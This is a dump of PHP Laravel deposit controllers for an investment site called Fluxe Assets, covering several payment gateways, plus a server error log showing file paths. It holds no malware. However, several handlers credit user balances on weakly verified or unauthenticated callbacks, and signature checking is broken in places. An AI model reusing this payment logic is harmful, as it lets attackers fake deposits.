$request->amount; $currency = Currency::whereId($request->currency_id)->first(); $amount = $request->amount/$currency->value; $paydata = $data->convertAutoData(); if($request->currency_code != "INR") { return redirect()->back()->with('unsuccess',__('Please Select INR Currency For This Payment.')); } $order['item_name'] = $gs->title." Order"; $order['item_number'] = Str::random(4).time(); $order['item_amount'] = $total; $cancel_url = route('checkout.instamojo.cancel'); $notify_url = route('checkout.instamojo.notify'); if($paydata['sandbox_check'] == 1){ $api = new Instamojo($paydata['key'], $paydata['token'], 'https://test.instamojo.com/api/1.1/'); } else { $api = new Instamojo($paydata['key'], $paydata['token']); } try { $response = $api->paymentRequestCreate(array( "purpose" => $order['item_name'], "amount" => $order['item_amount'], "send_email" => true, "email" => auth()->user()->email, "redirect_url" => $notify_url )); $redirect_url = $response['longurl']; Session::put('input_data',$input); Session::put('order_data',$order); Session::put('order_payment_id', $response['id']); return redirect($redirect_url); } catch (Exception $e) { return redirect($cancel_url)->with('unsuccess','Error: ' . $e->getMessage()); } } public function notify(Request $request) { $input_data = $request->all(); $payment_id = Session::get('order_payment_id'); if($input_data['payment_status'] == 'Failed'){ dd('here'); return redirect()->route('front.checkout')->with('error','Something went wrong!'); } if ($input_data['payment_request_id'] == $payment_id) { $addionalData = ['txnid'=>$payment_id]; $this->orderRepositorty->OrderFromSession($request,'complete',$addionalData); return redirect()->route('user.invest.history')->with('message','Invest successfully complete.'); } return redirect()->route('user.invest.checkout')->with('warning','Something went wrong!'); } public function cancel(){ return redirect()->route('user.invest.checkout')->with('warning','Something went wrong!'); } } Controllers/Deposit/RazorpayController.php 0000644 00000015400 15111246742 0015050 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; use Illuminate\Support\Str; use Razorpay\Api\Api; class RazorpayController extends Controller { public function __construct() { $data = PaymentGateway::whereKeyword('razorpay')->first(); $paydata = $data->convertAutoData(); $this->keyId = $paydata['key']; $this->keySecret = $paydata['secret']; $this->displayCurrency = 'INR'; $this->api = new Api($this->keyId, $this->keySecret); } public function store(Request $request) { if($request->currency_code != "INR") { return redirect()->back()->with('warning','Please Select INR Currency For Rezorpay.'); } $settings = Generalsetting::findOrFail(1); $deposit = new Deposit(); $input = $request->all(); $item_name = $settings->title." Deposit"; $item_number = Str::random(12); $item_amount = $request->amount; $order['item_name'] = $item_name; $order['item_number'] = $item_number; $order['item_amount'] = round($item_amount,2); $cancel_url = route('user.dashboard'); $notify_url = route('deposit.razorpay.notify'); $orderData = [ 'receipt' => $order['item_number'], 'amount' => $order['item_amount'] * 100, // 2000 rupees in paise 'currency' => 'INR', 'payment_capture' => 1 // auto capture ]; $razorpayOrder = $this->api->order->create($orderData); $input['user_id'] = auth()->user()->id; Session::put('input_data',$input); Session::put('order_data',$order); Session::put('order_payment_id', $razorpayOrder['id']); $displayAmount = $amount = $orderData['amount']; if ($this->displayCurrency !== 'INR') { $url = "https://api.fixer.io/latest?symbols=$this->displayCurrency&base=INR"; $exchange = json_decode(file_get_contents($url), true); $displayAmount = $exchange['rates'][$this->displayCurrency] * $amount / 100; } $checkout = 'automatic'; if (isset($_GET['checkout']) and in_array($_GET['checkout'], ['automatic', 'manual'], true)) { $checkout = $_GET['checkout']; } $data = [ "key" => $this->keyId, "amount" => $amount, "name" => $order['item_name'], "description" => $order['item_name'], "prefill" => [ "name" => $request->customer_name, "email" => $request->customer_email, "contact" => $request->customer_phone, ], "notes" => [ "address" => $request->customer_address, "merchant_order_id" => $order['item_number'], ], "theme" => [ "color" => "{{$settings->colors}}" ], "order_id" => $razorpayOrder['id'], ]; if ($this->displayCurrency !== 'INR') { $data['display_currency'] = $this->displayCurrency; $data['display_amount'] = $displayAmount; } $json = json_encode($data); $displayCurrency = $this->displayCurrency; return view( 'frontend.razorpay-checkout', compact( 'data','displayCurrency','json','notify_url' ) ); } public function notify(Request $request) { $input = Session::get('input_data'); $order_data = Session::get('order_data'); $input_data = $request->all(); $payment_id = Session::get('order_payment_id'); $success = true; if (empty($input_data['razorpay_payment_id']) === false) { try { $attributes = array( 'razorpay_order_id' => $payment_id, 'razorpay_payment_id' => $input_data['razorpay_payment_id'], 'razorpay_signature' => $input_data['razorpay_signature'] ); $this->api->utility->verifyPaymentSignature($attributes); } catch(SignatureVerificationError $e) { $success = false; } } if ($success === true){ $currency = Currency::where('id',$input['currency_id'])->first(); $amountToAdd = $input['amount']/$currency->value; $deposit = new Deposit(); $deposit['deposit_number'] = $order_data['item_number']; $deposit['user_id'] = auth()->user()->id; $deposit['currency_id'] = $request->currency_id; $deposit['amount'] = $amountToAdd; $deposit['method'] = $input['method']; $deposit['status'] = "complete"; $deposit['txnid'] = $payment_id; $deposit->save(); $gs = Generalsetting::findOrFail(1); $user = auth()->user(); $user->balance += $amountToAdd; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $amountToAdd; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $input['amount'], 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('user.deposit.create')->with('success','Deposit amount '.$input['amount'].' ('.$input['currency_code'].') successfully!'); } return redirect()->back()->with('warning','Something Went wrong!'); } } Controllers/Deposit/BlockIoController.php 0000644 00000013461 15111246742 0014570 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Classes\BlockIO; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; class BlockIoController extends Controller { public function blockioInvest() { return view('user.deposit.blockio'); } public function blockiocallback(Request $request) { $notifyID = $request['notification_id']; $amountRec = $request['data']['amount_received']; $deposit = Deposit::where('notify_id',$notifyID)->where('status','pending')->first(); if ($deposit != NULL){ $data['txnid'] = $request['data']['txid']; $data['status'] = "complete"; $deposit->update($data); $user = auth()->user(); $gs = Generalsetting::findOrFail(1); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $deposit->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } $user->balance += $deposit->amount; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $deposit->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); dd('SUCCESS'); } } function curlGetCall($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec ($ch); curl_close ($ch); return $data; } public function deposit(Request $request) { if($request->amount > 0){ $methods = $request->method; $version = 2; $coin = "BTC"; $my_api_key = ''; if($methods == "block.io.ltc"){ $blockinfo = PaymentGateway::whereKeyword('block.io.ltc')->first(); $blocksettings= $blockinfo->convertAutoData(); $coin = "Litecoin"; $my_api_key = $blocksettings['blockio_api_ltc']; }elseif($methods == "block.io.btc"){ $blockinfo = PaymentGateway::whereKeyword('block.io.btc')->first(); $blocksettings= $blockinfo->convertAutoData(); $coin = "Bitcoin"; $my_api_key = $blocksettings['blockio_api_btc']; }elseif ($methods == "block.io.dgc"){ $coin = "Dogecoin"; $blockinfo = PaymentGateway::whereKeyword('block.io.dgc')->first(); $blocksettings= $blockinfo->convertAutoData(); $my_api_key = $blocksettings['blockio_api_dgc']; } $acc = Auth::user()->id; $item_number = Str::random(4).time();; $item_amount = $request->amount; $currency_code = $request->currency_code; $secret = $blocksettings['secret_string']; $my_callback_url = route('deposit.blockio.notify'); $block_io = new BlockIO($my_api_key, $secret, $version); $biorate = 1; $coin_amount = round($item_amount / $biorate, 8); $root_url = 'https://block.io/api/v2/'; $addObject = $block_io->get_new_address(array()); $address = $addObject->data->address; $notifyObject = $block_io->create_notification(array('type' => 'address', 'address' => $address, 'url' => $my_callback_url)); $notifyID = $notifyObject->data->notification_id; $currency = Currency::where('id',$request->currency_id)->first(); $amountToAdd = $request->amount/$currency->value; $deposit = new Deposit(); $deposit['deposit_number'] = Str::random(12); $deposit['user_id'] = auth()->id(); $deposit['currency_id'] = $request->currency_id; $deposit['amount'] = $amountToAdd; $deposit['method'] = $request->method; $deposit['coin_amount'] = $coin_amount; $deposit['notify_id'] = $notifyID; $deposit['status'] = "pending"; $deposit->save(); $qrcode_url = "https://chart.googleapis.com/chart?chs=250x250&cht=qr&chl=bitcoin:".$address."?amount=".$coin_amount."&choe=UTF-8"; Session::put(['address' => $address,'coin' => $coin,'qrcode_url' => $qrcode_url,'amount' => $coin_amount,'currency_value' => $item_amount,'currency_sign' => $request->currency_sign,'accountnumber' => $acc]); return redirect()->route('blockio.deposit'); } return redirect()->back()->with('error','Please enter a valid amount.')->withInput(); } } Controllers/Deposit/ManualController.php 0000644 00000017263 15111246742 0014467 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Deposit; use Illuminate\Support\Str; use Illuminate\Http\Request; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; use App\Models\Generalsetting; class ManualController extends Controller { public function store(Request $request){ $currency = Currency::where('id',$request->currency_id)->first(); $amountToAdd = $request->amount/$currency->value; $deposit = new Deposit(); $deposit['deposit_number'] = Str::random(12); $deposit['user_id'] = auth()->id(); $deposit['currency_id'] = $request->currency_id; $deposit['amount'] = $amountToAdd; $deposit['method'] = $request->method; $deposit['txnid'] = $request->txn_id4; $deposit['status'] = "pending"; $deposit->save(); $gs = Generalsetting::findOrFail(1); $user = auth()->user(); $to = $user->email; $subject = 'Deposit Form Received – Pending Confirmation'; //$msg = "Dear Customer,<br> Your deposit in process."; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Deposit Form Received – Pending Confirmation</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { background-color: #003366; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 200px; } .email-header span { font-size: 18px; font-weight: 600; color: #00BFFF; display: block; margin-top: 10px; } .email-body { padding: 16px 30px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #003366; margin-bottom: 15px; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 6px 12px; font-size: 16px; border-radius: 5px; text-decoration: none; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 12px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #00BFFF; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <p>Dear <strong>'.$user->name.'</strong>,</p> <p>Thank you for submitting your deposit form to <strong>Fluxe Assets</strong>.</p> <p>We have received your form and are currently awaiting confirmation of the actual deposit. Once verified, the funds will be held in your Fluxe Assets account until you select an investment PLAN.</p> <p>If you have already made the deposit, please allow some time for processing. For any questions or assistance, feel free to <a href="https://fluxeassets.com/contact" style="color: #0073e6; text-decoration: none;" target="_blank">contact us</a>.</p> <p style="margin-top: 30px;">Best regards,<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; if($gs->is_smtp == 1) { /* $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $deposit->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); */ $mail = new PHPMailer(true); try { // SMTP settings $mail->isSMTP(); $mail->Host = $gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $gs->smtp_user; $mail->Password = $gs->smtp_pass; $mail->SMTPSecure = $gs->smtp_encryption; // 'tls' or 'ssl' $mail->Port = $gs->smtp_port; $mail->CharSet = 'UTF-8'; // Recipients $mail->setFrom($gs->from_email, $gs->from_name); $mail->addAddress($user->email, $user->name); // Content $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { return response()->json('Email could not be sent. Error: ' . $mail->ErrorInfo); } } else { $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('user.deposit.create')->with('success','Deposit amount '.$request->amount.' ('.$request->currency_code.') successfully!'); } } Controllers/Deposit/MollieController.php 0000644 00000010522 15111246742 0014462 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use Mollie\Laravel\Facades\Mollie; use App\Models\Generalsetting; use Illuminate\Http\Request; use App\Models\Deposit; use App\Models\Transaction; use Carbon\Carbon; use Session; use Auth; use Str; class MollieController extends Controller { public function store(Request $request){ $support = [ 'AED', 'AUD', 'BGN', 'BRL', 'CAD', 'CHF', 'CZK', 'DKK', 'EUR', 'GBP', 'HKD', 'HRK', 'HUF', 'ILS', 'ISK', 'JPY', 'MXN', 'MYR', 'NOK', 'NZD', 'PHP', 'PLN', 'RON', 'RUB', 'SEK', 'SGD', 'THB', 'TWD', 'USD', 'ZAR' ]; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Or EUR Currency For Paypal.'); } $input = $request->all(); $item_amount = $request->amount; $item_name = "Deposit via Molly Payment"; $payment = Mollie::api()->payments()->create([ 'amount' => [ 'currency' => 'USD', 'value' => ''.sprintf('%0.2f', $item_amount).'', ], 'description' => $item_name , 'redirectUrl' => route('deposit.molly.notify'), ]); Session::put('molly_data',$input); Session::put('payment_id',$payment->id); $payment = Mollie::api()->payments()->get($payment->id); return redirect($payment->getCheckoutUrl(), 303); } public function notify(Request $request){ $input = Session::get('molly_data'); $payment = Mollie::api()->payments()->get(Session::get('payment_id')); if($payment->status == 'paid'){ $currency = Currency::where('id',$input['currency_id'])->first(); $amountToAdd = $input['amount']/$currency->value; $deposit = new Deposit(); $deposit['deposit_number'] = Str::random(12); $deposit['user_id'] = auth()->id(); $deposit['currency_id'] = $input['currency_id']; $deposit['amount'] = $amountToAdd; $deposit['method'] = $input['method']; $deposit['status'] = "complete"; $deposit['txnid'] = $payment->id; $deposit->save(); $user = auth()->user(); $user->balance += $amountToAdd; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $amountToAdd; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); $gs = Generalsetting::findOrFail(1); $user = auth()->user(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $input['amount'], 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } Session::forget('molly_data'); return redirect()->route('user.deposit.create')->with('success','Deposit amount ('.$input['amount'].') successfully!'); } else { return redirect()->route('user.deposit.create')->with('warning','Something Went wrong!'); } return redirect()->route('user.deposit.create')->with('warning','Something Went wrong!'); } } Controllers/Deposit/PaypalController.php 0000644 00000013170 15111246742 0014471 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Http\Controllers\Controller; use Carbon\Carbon; use Illuminate\Support\Str; use Illuminate\Http\Request; use App\Classes\GeniusMailer; use App\Models\Currency; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction as AppTransaction; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; use Illuminate\Support\Facades\Redirect; use Omnipay\Omnipay; class PaypalController extends Controller { private $_api_context; public $gateway; public function __construct() { $data = PaymentGateway::whereKeyword('paypal')->first(); $paydata = $data->convertAutoData(); $this->gateway = Omnipay::create('PayPal_Rest'); $this->gateway->setClientId($paydata['client_id']); $this->gateway->setSecret($paydata['client_secret']); $this->gateway->setTestMode(true); } public function store(Request $request){ $support = ['USD','EUR']; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Or EUR Currency For Paypal.'); } $settings = Generalsetting::findOrFail(1); $deposit = new Deposit(); $cancel_url = route('deposit.paypal.cancel'); $notify_url = route('deposit.paypal.notify'); $item_name = $settings->title." Deposit"; $item_number = Str::random(12); $item_amount = $request->amount; $currency = Currency::whereId($request->currency_id)->first(); $amountToAdd = $request->amount/$currency->value; $deposit['user_id'] = auth()->user()->id; $deposit['currency_id'] = $request->currency_id; $deposit['amount'] = $amountToAdd ; $deposit['method'] = $request->method; $deposit['deposit_number'] = $item_number; $deposit['status'] = "pending"; $deposit->save(); try { $response = $this->gateway->purchase(array( 'amount' => $item_amount, 'currency' => $request->currency_code, 'returnUrl' => $notify_url, 'cancelUrl' => $cancel_url, ))->send(); if ($response->isRedirect()) { Session::put('deposit_data',$request->all()); Session::put('deposit_number',$item_number); if ($response->redirect()) { /** redirect to paypal **/ return redirect($response->redirect()); } } else { return redirect()->back()->with('unsuccess', $response->getMessage()); } } catch (\Throwable$th) { return redirect()->back()->with('unsuccess', $response->getMessage()); } } public function notify(Request $request) { $responseData = $request->all(); if (empty($responseData['PayerID']) || empty($responseData['token'])) { return redirect()->back()->with('error', 'Payment Failed'); } $transaction = $this->gateway->completePurchase(array( 'payer_id' => $responseData['PayerID'], 'transactionReference' => $responseData['paymentId'], )); $user = auth()->user(); $deposit_data = Session::get('deposit_data'); $response = $transaction->send(); $deposit_number = Session::get('deposit_number'); $payment_id = Session::get('paypal_payment_id'); if ($response->isSuccessful()) { $deposit = Deposit::where('deposit_number',$deposit_number)->where('status','pending')->first(); $data['txnid'] = $response->getData()['transactions'][0]['related_resources'][0]['sale']['id']; $data['status'] = "complete"; $deposit->update($data); $gs = Generalsetting::findOrFail(1); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposit", 'cname' => $user->name, 'oamount' => $deposit->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } $user->balance += $deposit->amount; $user->save(); $trans = new AppTransaction(); $trans->email = $user->email; $trans->amount = $deposit->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); Session::forget('deposit_data'); Session::forget('paypal_payment_id'); Session::forget('deposit_number'); return redirect()->route('user.deposit.create')->with('success','Deposit amount '.$deposit->amount.' (USD) successfully!'); } } } Controllers/Deposit/CoinpaymentController.php 0000644 00000000255 15111246742 0015531 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Http\Controllers\Controller; use Illuminate\Http\Request; class CoinpaymentController extends Controller { // } Controllers/Deposit/AuthorizeController.php 0000644 00000014401 15111246742 0015213 0 ustar 00 <?php namespace App\Http\Controllers\Deposit; use App\Http\Controllers\Controller; use App\Classes\GeniusMailer; use App\Models\Deposit; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Models\Transaction; use Illuminate\Http\Request; use Carbon\Carbon; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; use net\authorize\api\contract\v1 as AnetAPI; use net\authorize\api\controller as AnetController; class AuthorizeController extends Controller { public function store(Request $request){ $settings = Generalsetting::find(1); $authorizeinfo = PaymentGateway::whereKeyword('authorize.net')->first(); $authorizesettings= $authorizeinfo->convertAutoData(); $item_name = $settings->title." Deposit"; $item_number = Str::random(4).time(); $item_amount = $request->amount; $validator = Validator::make($request->all(),[ 'cardNumber' => 'required', 'cardCVC' => 'required', 'month' => 'required', 'year' => 'required', ]); if ($validator->passes()) { $merchantAuthentication = new AnetAPI\MerchantAuthenticationType(); $merchantAuthentication->setName($authorizesettings['login_id']); $merchantAuthentication->setTransactionKey($authorizesettings['txn_key']); $refId = 'ref' . time(); $creditCard = new AnetAPI\CreditCardType(); $creditCard->setCardNumber(str_replace(' ','',$request->cardNumber)); $year = $request->year; $month = $request->month; $creditCard->setExpirationDate($year.'-'.$month); $creditCard->setCardCode($request->cardCVC); $paymentOne = new AnetAPI\PaymentType(); $paymentOne->setCreditCard($creditCard); $orderr = new AnetAPI\OrderType(); $orderr->setInvoiceNumber($item_number); $orderr->setDescription($item_name); $transactionRequestType = new AnetAPI\TransactionRequestType(); $transactionRequestType->setTransactionType("authCaptureTransaction"); $transactionRequestType->setAmount($item_amount); $transactionRequestType->setOrder($orderr); $transactionRequestType->setPayment($paymentOne); $requestt = new AnetAPI\CreateTransactionRequest(); $requestt->setMerchantAuthentication($merchantAuthentication); $requestt->setRefId($refId); $requestt->setTransactionRequest($transactionRequestType); $controller = new AnetController\CreateTransactionController($requestt); if($authorizesettings['sandbox_check'] == 1){ $response = $controller->executeWithApiResponse(\net\authorize\api\constants\ANetEnvironment::SANDBOX); } else { $response = $controller->executeWithApiResponse(\net\authorize\api\constants\ANetEnvironment::PRODUCTION); } if ($response != null) { if ($response->getMessages()->getResultCode() == "Ok") { $tresponse = $response->getTransactionResponse(); if ($tresponse != null && $tresponse->getMessages() != null) { $deposit = new Deposit(); $deposit['deposit_number'] = Str::random(12); $deposit['user_id'] = auth()->user()->id; $deposit['currency_id'] = $request->currency_id; $deposit['amount'] = $request->amount; $deposit['method'] = $request->method; $deposit['status'] = "complete"; $deposit->save(); $gs = Generalsetting::findOrFail(1); $user = auth()->user(); $user->balance += $request->amount; $user->save(); $trans = new Transaction(); $trans->email = $user->email; $trans->amount = $request->amount; $trans->type = "Deposit"; $trans->profit = "plus"; $trans->txnid = $deposit->deposit_number; $trans->user_id = $user->id; $trans->save(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Deposti", 'cname' => $user->name, 'oamount' => $item_amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $user->email; $subject = " You have deposited successfully."; $msg = "Hello ".$user->name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->route('user.deposit.create')->with('success','Deposit amount '.$request->amount.' ('.$request->currency_code.') successfully!'); } else { return redirect()->route('user.deposit.create')->with('unsuccess', 'Payment Failed.'); } } else { return redirect()->route('user.deposit.create')->with('unsuccess', 'Payment Failed.'); } } else { return redirect()->route('user.deposit.create')->with('unsuccess', 'Payment Failed.'); } } return redirect()->route('user.deposit.create')->with('unsuccess', 'Invalid Payment Details.'); } } Controllers/Deposit/error_log 0000644 00000073615 15111246742 0012415 0 ustar 00 [19-Nov-2025 14:13:41 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/SkrillController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/SkrillController.php on line 14 [19-Nov-2025 14:13:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/AuthorizeController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/AuthorizeController.php on line 18 [19-Nov-2025 14:14:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/FlutterwaveController.php:16 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/FlutterwaveController.php on line 16 [19-Nov-2025 14:16:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/CoinpaymentController.php:8 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/CoinpaymentController.php on line 8 [19-Nov-2025 14:18:08 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/InstamojoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/InstamojoController.php on line 18 [19-Nov-2025 14:19:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/BlockIoController.php on line 18 [19-Nov-2025 14:20:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PayeerController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PayeerController.php on line 14 [19-Nov-2025 14:21:09 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaystackController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaystackController.php on line 12 [19-Nov-2025 14:22:10 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/RazorpayController.php on line 18 [19-Nov-2025 14:23:10 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaytmController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaytmController.php on line 17 [19-Nov-2025 14:24:15 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PerfectMoneyController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PerfectMoneyController.php on line 14 [19-Nov-2025 14:25:17 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MercadopagoController.php on line 18 [19-Nov-2025 14:28:26 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaypalController.php on line 20 [19-Nov-2025 14:32:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/MollieController.php on line 18 [19-Nov-2025 14:33:37 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/StripeController.php on line 25 [19-Nov-2025 14:38:33 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/SkrillController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/SkrillController.php on line 14 [19-Nov-2025 14:40:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Deposit/PaystackController.php:12 